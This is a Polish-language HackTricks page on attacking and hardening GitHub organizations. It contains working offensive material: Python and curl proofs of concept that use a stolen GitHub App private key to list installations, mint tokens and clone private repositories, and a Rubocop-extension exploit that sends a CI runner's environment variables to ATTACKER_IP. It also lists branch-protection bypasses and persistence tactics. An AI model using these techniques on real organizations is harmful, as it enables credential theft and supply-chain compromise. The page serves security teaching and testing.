Github Security

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Co to jest Github

(From here) Na wysokim poziomie, GitHub to strona internetowa i usługa w chmurze, która pomaga programistom przechowywać i zarządzać swoim kodem, a także śledzić i kontrolować zmiany w swoim kodzie.

Podstawowe informacje

Basic Github Information

Zewnętrzne rozpoznanie

Repozytoria Github mogą być skonfigurowane jako publiczne, prywatne i wewnętrzne.

  • Prywatne oznacza, że tylko osoby z organizacji będą mogły uzyskać do nich dostęp
  • Wewnętrzne oznacza, że tylko osoby z przedsiębiorstwa (przedsiębiorstwo może mieć kilka organizacji) będą mogły uzyskać do niego dostęp
  • Publiczne oznacza, że wszyscy w internecie będą mogli uzyskać do niego dostęp.

W przypadku, gdy znasz użytkownika, repozytorium lub organizację, którą chcesz zaatakować, możesz użyć github dorks, aby znaleźć wrażliwe informacje lub wyszukać wycieki wrażliwych informacji w każdym repozytorium.

Github Dorks

Github pozwala na wyszukiwanie czegoś, określając jako zakres użytkownika, repozytorium lub organizację. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo wyszukiwać potencjalne wrażliwe informacje w swoim celu.

Narzędzia (każde narzędzie zawiera swoją listę dorks):

Github Leaks

Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które pobierają każde repozytorium i wyszukują w nich wrażliwe informacje (nawet sprawdzając pewną głębokość commitów).

Narzędzia (każde narzędzie zawiera swoją listę regexów):

Sprawdź tę stronę: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

Warning

Kiedy szukasz wycieków w repozytorium i uruchamiasz coś takiego jak git log -p, nie zapomnij, że mogą być inne gałęzie z innymi commitami zawierającymi sekrety!

Zewnętrzne forki

Możliwe jest kompromitowanie repozytoriów poprzez nadużywanie pull requestów. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać konfiguracje yaml Github Actions. Więcej informacji na ten temat poniżej.

Github Leaks w usuniętych/wewnętrznych forkach

Nawet jeśli są usunięte lub wewnętrzne, może być możliwe uzyskanie wrażliwych danych z forków repozytoriów github. Sprawdź to tutaj:

Accessible Deleted Data in Github

Wzmacnianie organizacji

Uprawnienia członków

Istnieją pewne domyślne uprawnienia, które mogą być przypisane do członków organizacji. Można je kontrolować z strony https://github.com/organizations/<org_name>/settings/member_privileges lub z API Organizacji.

  • Podstawowe uprawnienia: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zaleca się None lub Read.
  • Forkowanie repozytoriów: Jeśli nie jest to konieczne, lepiej nie pozwalać członkom na forkowanie repozytoriów organizacji.
  • Tworzenie stron: Jeśli nie jest to konieczne, lepiej nie pozwalać członkom na publikowanie stron z repozytoriów organizacji. Jeśli to konieczne, możesz pozwolić na tworzenie publicznych lub prywatnych stron.
  • Prośby o dostęp do integracji: Po włączeniu tego, zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć.
  • Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz
  • Zmiana widoczności repozytoriów: Jeśli włączone, członkowie z uprawnieniami admina do repozytorium będą mogli zmieniać jego widoczność. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli nie chcesz, aby ludzie publikowali rzeczy publicznie, upewnij się, że to jest wyłączone.
  • Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz
  • Usuwanie i przenoszenie repozytoriów: Jeśli włączone, członkowie z uprawnieniami admina do repozytorium będą mogli usuwać lub przenosić publiczne i prywatne repozytoria.
  • Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz
  • Pozwól członkom na tworzenie zespołów: Jeśli włączone, każdy członek organizacji będzie mógł tworzyć nowe zespoły. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej jest to wyłączyć.
  • Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz
  • Więcej rzeczy można skonfigurować na tej stronie, ale poprzednie są bardziej związane z bezpieczeństwem.

Ustawienia akcji

Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z strony https://github.com/organizations/<org_name>/settings/actions.

Note

Zauważ, że wszystkie te konfiguracje można również ustawić w każdym repozytorium niezależnie

  • Polityki akcji Github: Pozwala to wskazać, które repozytoria mogą uruchamiać workflow i które workflow powinny być dozwolone. Zaleca się określenie, które repozytoria powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji.
  • API-1, API-2
  • Workflow pull requestów z zewnętrznych współpracowników: Zaleca się wymaganie zatwierdzenia dla wszystkich zewnętrznych współpracowników.
  • Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz
  • Uruchamianie workflow z pull requestów: Jest to wysoce odradzane uruchamianie workflow z pull requestów, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym.
  • Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz
  • Uprawnienia workflow: Zdecydowanie zaleca się przyznawanie tylko uprawnień do odczytu repozytoriów. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużycia GITHUB_TOKEN przyznawanego do uruchamiania workflow.
  • API

Integracje

Daj mi znać, jeśli znasz punkt końcowy API, aby uzyskać te informacje!

  • Polityka dostępu aplikacji stron trzecich: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie).
  • Zainstalowane aplikacje GitHub: Zaleca się zezwolenie tylko na te potrzebne (po ich przeglądzie).

Rozpoznanie i ataki nadużywające poświadczeń

W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github.

Z poświadczeniami użytkownika

Jeśli w jakiś sposób masz już poświadczenia dla użytkownika w organizacji, możesz po prostu się zalogować i sprawdzić, jakie role przedsiębiorstwa i organizacji masz, jeśli jesteś zwykłym członkiem, sprawdź, jakie uprawnienia mają zwykli członkowie, w jakich grupach jesteś, jakie uprawnienia masz do jakich repozytoriów i jak są chronione repozytoria.

Zauważ, że 2FA może być używane, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również przejdziesz ten test.

Note

Zauważ, że jeśli uda ci się ukraść ciasteczko user_session (aktualnie skonfigurowane z SameSite: Lax), możesz całkowicie podszyć się pod użytkownika bez potrzeby posiadania poświadczeń lub 2FA.

Sprawdź sekcję poniżej o obejściach ochrony gałęzi, jeśli to może być przydatne.

Z kluczem SSH użytkownika

Github pozwala użytkownikom ustawiać klucze SSH, które będą używane jako metoda uwierzytelniania do wdrażania kodu w ich imieniu (nie stosuje się 2FA).

Z tym kluczem możesz wprowadzać zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia, jednak nie możesz go użyć do uzyskania dostępu do API github, aby enumerować środowisko. Możesz jednak enumerować lokalne ustawienia, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:

# Go to the the repository folder
# Get repo config and current user name and email
git config --list

Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika github, możesz uzyskać dostęp do publicznych kluczy, które ustawił na swoim koncie w https://github.com/<github_username>.keys, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.

Klucze SSH mogą być również ustawione w repozytoriach jako klucze wdrożeniowe. Każdy, kto ma dostęp do tego klucza, będzie mógł uruchamiać projekty z repozytorium. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik ~/.ssh/config dostarczy informacji o tym, do którego klucza się odnosi.

Klucze GPG

Jak wyjaśniono tutaj, czasami konieczne jest podpisanie commitów, inaczej możesz zostać odkryty.

Sprawdź lokalnie, czy bieżący użytkownik ma jakikolwiek klucz za pomocą:

gpg --list-secret-keys --keyid-format=long

Z tokenem użytkownika

Aby uzyskać wprowadzenie na temat tokenów użytkownika, sprawdź podstawowe informacje.

Token użytkownika może być używany zamiast hasła do Git przez HTTPS lub może być używany do uwierzytelniania w API za pomocą Basic Authentication. W zależności od przypisanych do niego uprawnień, możesz być w stanie wykonać różne akcje.

Token użytkownika wygląda tak: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

Z aplikacją Oauth

Aby uzyskać wprowadzenie na temat aplikacji Oauth Github, sprawdź podstawowe informacje.

Atakujący może stworzyć złośliwą aplikację Oauth, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej.

To są zakresy, o które może prosić aplikacja Oauth. Zawsze należy sprawdzić żądane zakresy przed ich zaakceptowaniem.

Ponadto, jak wyjaśniono w podstawowych informacjach, organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich do informacji/repozytoriów/akcji związanych z organizacją.

Z aplikacją Github

Aby uzyskać wprowadzenie na temat aplikacji Github, sprawdź podstawowe informacje.

Atakujący może stworzyć złośliwą aplikację Github, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej.

Ponadto, jak wyjaśniono w podstawowych informacjach, organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich do informacji/repozytoriów/akcji związanych z organizacją.

Podszywanie się pod aplikację GitHub za pomocą jej klucza prywatnego (JWT → tokeny dostępu do instalacji)

Jeśli uzyskasz klucz prywatny (PEM) aplikacji GitHub, możesz w pełni podszyć się pod aplikację we wszystkich jej instalacjach:

  • Wygeneruj krótkoterminowy JWT podpisany kluczem prywatnym
  • Wywołaj REST API aplikacji GitHub, aby enumerować instalacje
  • Wytwórz tokeny dostępu na poziomie instalacji i użyj ich do listowania/klonowania/pushowania do repozytoriów przyznanych tej instalacji

Wymagania:

  • Klucz prywatny aplikacji GitHub (PEM)
  • ID aplikacji GitHub (numeryczne). GitHub wymaga, aby iss było ID aplikacji

Utwórz JWT (RS256):

#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

Lista instalacji dla uwierzytelnionej aplikacji:

JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

Utwórz token dostępu do instalacji (ważny ≤ 10 minut):

INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

Użyj tokena, aby uzyskać dostęp do kodu. Możesz klonować lub przesyłać za pomocą formatu URL x‑access‑token:

TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

Programowy PoC do celowania w konkretną organizację i wylistowania prywatnych repozytoriów (PyGithub + PyJWT):

#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

Notatki:

  • Tokeny instalacji dziedziczą dokładnie uprawnienia na poziomie repozytorium aplikacji (na przykład, contents: write, pull_requests: write)
  • Tokeny wygasają w ≤10 minut, ale nowe tokeny mogą być generowane w nieskończoność, o ile zachowasz klucz prywatny
  • Możesz również enumerować instalacje za pomocą REST API (GET /app/installations) używając JWT

Kompromitacja i nadużycie Github Action

Istnieje kilka technik kompromitacji i nadużycia Github Action, sprawdź je tutaj:

Abusing Github Actions

Nadużywanie aplikacji GitHub osób trzecich uruchamiających zewnętrzne narzędzia (RCE rozszerzenia Rubocop)

Niektóre aplikacje GitHub i usługi przeglądania PR wykonują zewnętrzne lintery/SAST przeciwko pull requestom, używając plików konfiguracyjnych kontrolowanych przez repozytorium. Jeśli obsługiwane narzędzie pozwala na dynamiczne ładowanie kodu, PR może osiągnąć RCE na runnerze usługi.

Przykład: Rubocop wspiera ładowanie rozszerzeń z jego konfiguracji YAML. Jeśli usługa przekazuje plik .rubocop.yml dostarczony przez repozytorium, możesz wykonać dowolny kod Ruby, wymagając lokalnego pliku.

  • Warunki wyzwalające zazwyczaj obejmują:
  • Narzędzie jest włączone w usłudze
  • PR zawiera pliki, które narzędzie rozpoznaje (dla Rubocop: .rb)
  • Repozytorium zawiera plik konfiguracyjny narzędzia (Rubocop szuka .rubocop.yml wszędzie)

Pliki exploita w PR:

.rubocop.yml

require:
- ./ext.rb

ext.rb (ekstrahowanie zmiennych środowiskowych runnera):

require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

Również dołącz wystarczająco dużą fikcyjną aplikację Ruby (np. main.rb), aby linter rzeczywiście działał.

Wpływ zaobserwowany w rzeczywistości:

  • Pełne wykonanie kodu na produkcyjnym runnerze, który uruchomił linter
  • Ekstrakcja wrażliwych zmiennych środowiskowych, w tym prywatnego klucza GitHub App używanego przez usługę, kluczy API, poświadczeń DB itp.
  • Posiadając wyciekły prywatny klucz GitHub App, możesz tworzyć tokeny instalacji i uzyskać dostęp do odczytu/zapisu do wszystkich repozytoriów przyznanych tej aplikacji (zobacz sekcję powyżej na temat podszywania się pod GitHub App)

Wytyczne dotyczące wzmacniania zabezpieczeń dla usług uruchamiających zewnętrzne narzędzia:

  • Traktuj konfiguracje narzędzi dostarczone przez repozytorium jako nieufny kod
  • Uruchamiaj narzędzia w ściśle izolowanych piaskownicach bez zamontowanych wrażliwych zmiennych środowiskowych
  • Stosuj poświadczenia o minimalnych uprawnieniach i izolację systemu plików oraz ogranicz/odrzuć wychodzący ruch sieciowy dla narzędzi, które nie wymagają dostępu do internetu

Ominięcie Ochrony Gałęzi

  • Wymagaj liczby zatwierdzeń: Jeśli skompromitowałeś kilka kont, możesz po prostu zaakceptować swoje PR z innych kont. Jeśli masz tylko konto, z którego utworzyłeś PR, nie możesz zaakceptować swojego własnego PR. Jednak jeśli masz dostęp do środowiska Github Action w repozytorium, używając GITHUB_TOKEN, możesz być w stanie zatwierdzić swój PR i uzyskać w ten sposób 1 zatwierdzenie.
  • Uwaga dla tego i dla ograniczenia Właścicieli Kodów, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to wykorzystać, aby zaakceptować swoje PR.
  • Odrzuć zatwierdzenia, gdy nowe commity są przesyłane: Jeśli to nie jest ustawione, możesz przesłać legalny kod, poczekać, aż ktoś go zatwierdzi, a następnie dodać złośliwy kod i połączyć go z chronioną gałęzią.
  • Wymagaj przeglądów od Właścicieli Kodów: Jeśli to jest aktywowane i jesteś Właścicielem Kodu, możesz sprawić, że Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie.
  • Gdy plik CODEOWNER jest źle skonfigurowany, Github nie zgłasza błędu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, ochrona Właścicieli Kodów nie jest stosowana.
  • Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów: Jeśli jesteś jednym z tych aktorów, możesz ominąć zabezpieczenia pull requestów.
  • Uwzględnij administratorów: Jeśli to nie jest ustawione, a jesteś administratorem repozytorium, możesz ominąć te zabezpieczenia gałęzi.
  • Przechwytywanie PR: Możesz być w stanie zmodyfikować PR kogoś innego, dodając złośliwy kod, zatwierdzając wynikowy PR samodzielnie i łącząc wszystko.
  • Usuwanie Ochrony Gałęzi: Jeśli jesteś administratorem repozytorium, możesz wyłączyć zabezpieczenia, połączyć swój PR i ponownie ustawić zabezpieczenia.
  • Ominięcie zabezpieczeń push: Jeśli repozytorium zezwala tylko określonym użytkownikom na wysyłanie push (łączenie kodu) w gałęziach (ochrona gałęzi może chronić wszystkie gałęzie, określając symbol wieloznaczny *).
  • Jeśli masz dostęp do zapisu w repozytorium, ale nie masz pozwolenia na przesyłanie kodu z powodu ochrony gałęzi, możesz nadal utworzyć nową gałąź i w jej ramach utworzyć github action, która jest wyzwalana, gdy kod jest przesyłany. Ponieważ ochrona gałęzi nie będzie chronić gałęzi, dopóki nie zostanie utworzona, to pierwsze przesłanie kodu do gałęzi wykona github action.

Ominięcie Ochrony Środowisk

Aby uzyskać wprowadzenie do Github Environment, sprawdź podstawowe informacje.

W przypadku, gdy środowisko może być dostępne ze wszystkich gałęzi, nie jest chronione i możesz łatwo uzyskać dostęp do sekretów wewnątrz środowiska. Zauważ, że możesz znaleźć repozytoria, w których wszystkie gałęzie są chronione (poprzez określenie ich nazw lub użycie *), w tym scenariuszu, znajdź gałąź, w której możesz przesyłać kod i możesz ekstrahować sekrety, tworząc nową github action (lub modyfikując jedną).

Zauważ, że możesz napotkać przypadek brzegowy, w którym wszystkie gałęzie są chronione (poprzez symbol wieloznaczny *), określono kto może przesyłać kod do gałęzi (możesz to określić w ochronie gałęzi), a twój użytkownik nie ma pozwolenia. Możesz nadal uruchomić niestandardową github action, ponieważ możesz utworzyć gałąź i użyć wyzwalacza push nad nią. Ochrona gałęzi zezwala na push do nowej gałęzi, więc github action zostanie wyzwolona.

push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

Zauważ, że po utworzeniu gałęzi ochrona gałęzi będzie miała zastosowanie do nowej gałęzi i nie będziesz mógł jej modyfikować, ale w tym czasie już zrzuciłeś sekrety.

Utrzymywanie

  • Wygeneruj token użytkownika
  • Ukradnij tokeny github z sekretów
  • Usunięcie wyników workflow i gałęzi
  • Przyznaj więcej uprawnień całej organizacji
  • Utwórz webhooki do eksfiltracji informacji
  • Zaproś zewnętrznych współpracowników
  • Usuń webhooki używane przez SIEM
  • Utwórz/modyfikuj Github Action z tylnym wejściem
  • Znajdź vulnerable Github Action do wstrzykiwania poleceń poprzez modyfikację wartości sekretu

Fałszywe Commity - Tylne wejście przez commity repo

W Githubie możliwe jest utworzenie PR do repo z forka. Nawet jeśli PR nie zostanie zaakceptowany, id commita w oryginalnym repo zostanie utworzone dla wersji kodu z forka. Dlatego atakujący może przypiąć się do użycia konkretnego commita z pozornie legalnego repo, które nie zostało utworzone przez właściciela repo.

Jak to:

name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

Aby uzyskać więcej informacji, sprawdź https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd

Odniesienia

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks